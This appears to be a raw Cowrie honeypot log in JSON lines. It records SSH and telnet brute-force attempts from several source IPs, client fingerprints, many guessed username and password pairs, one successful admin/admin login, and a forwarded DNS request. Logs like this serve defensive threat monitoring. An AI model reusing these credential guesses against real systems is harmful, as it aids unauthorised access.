{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2023","message":"login attempt [root/P@ssw0rd2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:30.072119Z","src_ip":"43.153.85.27","session":"29c9883d8f86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:31.147103Z","src_ip":"43.153.85.27","session":"29c9883d8f86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.848472356796265,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:35.277063Z","src_ip":"152.42.224.71","session":"0f0b4ac1c0f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45032,"dst_ip":"10.17.0.5","dst_port":23,"session":"4aa0ece829da","protocol":"telnet","message":"New connection: 152.42.224.71:45032 (10.17.0.5:23) [session: 4aa0ece829da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:37.702955Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":46884,"dst_ip":"159.203.135.109","dst_port":22,"session":"4372bf68c549","protocol":"ssh","message":"New connection: 103.149.28.157:46884 (159.203.135.109:22) [session: 4372bf68c549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:49.633077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:49.638244Z","src_ip":"103.149.28.157","session":"4372bf68c549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:49.886250Z","src_ip":"103.149.28.157","session":"4372bf68c549","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"valeria","message":"login attempt [root/valeria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:50.626431Z","src_ip":"103.149.28.157","session":"4372bf68c549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.04908204078674,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:51.842645Z","src_ip":"152.42.224.71","session":"8b49cef717e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:51.875611Z","src_ip":"103.149.28.157","session":"4372bf68c549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.75573062896729,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:51.912411Z","src_ip":"152.42.224.71","session":"852f3efed25c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.240.188.136","src_port":53065,"dst_ip":"159.203.135.109","dst_port":23,"session":"b15eff9e13bc","protocol":"telnet","message":"New connection: 125.240.188.136:53065 (159.203.135.109:23) [session: b15eff9e13bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:59.148054Z"}
{"eventid":"cowrie.session.closed","duration":120.00370192527771,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:01.479732Z","src_ip":"152.42.224.71","session":"d57d3ad0d23b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50694,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ba854ebfef9","protocol":"telnet","message":"New connection: 152.42.224.71:50694 (10.17.0.5:23) [session: 1ba854ebfef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:06.362430Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57020,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58dd814d184","protocol":"telnet","message":"New connection: 152.42.224.71:57020 (10.17.0.5:23) [session: d58dd814d184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:08.127891Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":57856,"dst_ip":"10.17.0.5","dst_port":22,"session":"63c349e9ec5c","protocol":"ssh","message":"New connection: 185.242.234.173:57856 (10.17.0.5:22) [session: 63c349e9ec5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:11.332904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:12.645201Z","src_ip":"185.242.234.173","session":"63c349e9ec5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:12.648978Z","src_ip":"185.242.234.173","session":"63c349e9ec5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":53260,"dst_ip":"10.17.0.5","dst_port":22,"session":"748950a33111","protocol":"ssh","message":"New connection: 49.51.200.156:53260 (10.17.0.5:22) [session: 748950a33111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:12.854714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:12.863535Z","src_ip":"49.51.200.156","session":"748950a33111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:12.931756Z","src_ip":"49.51.200.156","session":"748950a33111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password1","message":"login attempt [admin/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:13.234295Z","src_ip":"49.51.200.156","session":"748950a33111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@2025","message":"login attempt [ftpuser/ftpuser@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:13.304064Z","src_ip":"185.242.234.173","session":"63c349e9ec5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:14.306592Z","src_ip":"49.51.200.156","session":"748950a33111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57032,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c1cbc88c3c4","protocol":"telnet","message":"New connection: 152.42.224.71:57032 (10.17.0.5:23) [session: 5c1cbc88c3c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:14.475151Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:14.514020Z","src_ip":"185.242.234.173","session":"63c349e9ec5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":35980,"dst_ip":"10.17.0.5","dst_port":22,"session":"a51ed714a10a","protocol":"ssh","message":"New connection: 45.117.179.232:35980 (10.17.0.5:22) [session: a51ed714a10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:19.259778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:19.264808Z","src_ip":"45.117.179.232","session":"a51ed714a10a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:19.508591Z","src_ip":"45.117.179.232","session":"a51ed714a10a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.10171985626221,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:19.678698Z","src_ip":"152.42.224.71","session":"7470fb7208a5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!@","message":"login attempt [root/1qaz2wsx!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:20.517229Z","src_ip":"45.117.179.232","session":"a51ed714a10a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:21.764821Z","src_ip":"45.117.179.232","session":"a51ed714a10a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.718615531921387,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:25.080907Z","src_ip":"152.42.224.71","session":"1ba854ebfef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591942310333252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:29.739856Z","src_ip":"125.240.188.136","session":"b15eff9e13bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":56098,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f1554ae0333","protocol":"ssh","message":"New connection: 43.153.85.27:56098 (10.17.0.5:22) [session: 4f1554ae0333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:39.477554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:39.482791Z","src_ip":"43.153.85.27","session":"4f1554ae0333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:39.551105Z","src_ip":"43.153.85.27","session":"4f1554ae0333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Amir1234","message":"login attempt [root/Amir1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:39.855768Z","src_ip":"43.153.85.27","session":"4f1554ae0333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:40.926559Z","src_ip":"43.153.85.27","session":"4f1554ae0333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":20242,"dst_ip":"10.17.0.5","dst_port":22,"session":"1041bbf16dae","protocol":"ssh","message":"New connection: 87.251.64.176:20242 (10.17.0.5:22) [session: 1041bbf16dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:43.862126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:43.866738Z","src_ip":"87.251.64.176","session":"1041bbf16dae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:43.964116Z","src_ip":"87.251.64.176","session":"1041bbf16dae","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:44.255467Z","src_ip":"87.251.64.176","session":"1041bbf16dae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:44.356003Z","session":"1041bbf16dae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:44.454861Z","src_ip":"87.251.64.176","session":"1041bbf16dae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:44.690431Z","src_ip":"87.251.64.176","session":"1041bbf16dae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38504,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e0522f3ad17","protocol":"telnet","message":"New connection: 152.42.224.71:38504 (10.17.0.5:23) [session: 1e0522f3ad17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:45.067898Z"}
{"eventid":"cowrie.session.closed","duration":120.00199174880981,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:51:55.308735Z","src_ip":"152.42.224.71","session":"9e50cb7ebeaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37498,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3be7b2c9d39","protocol":"telnet","message":"New connection: 152.42.224.71:37498 (10.17.0.5:23) [session: b3be7b2c9d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:00.268412Z"}
{"eventid":"cowrie.session.closed","duration":64.48271489143372,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:12.610493Z","src_ip":"152.42.224.71","session":"d58dd814d184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.358635663986206,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:17.426416Z","src_ip":"152.42.224.71","session":"1e0522f3ad17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":48806,"dst_ip":"10.17.0.5","dst_port":22,"session":"1642ad0b141f","protocol":"ssh","message":"New connection: 193.32.162.145:48806 (10.17.0.5:22) [session: 1642ad0b141f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:21.972206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:21.977156Z","src_ip":"193.32.162.145","session":"1642ad0b141f","protocol":"ssh"}
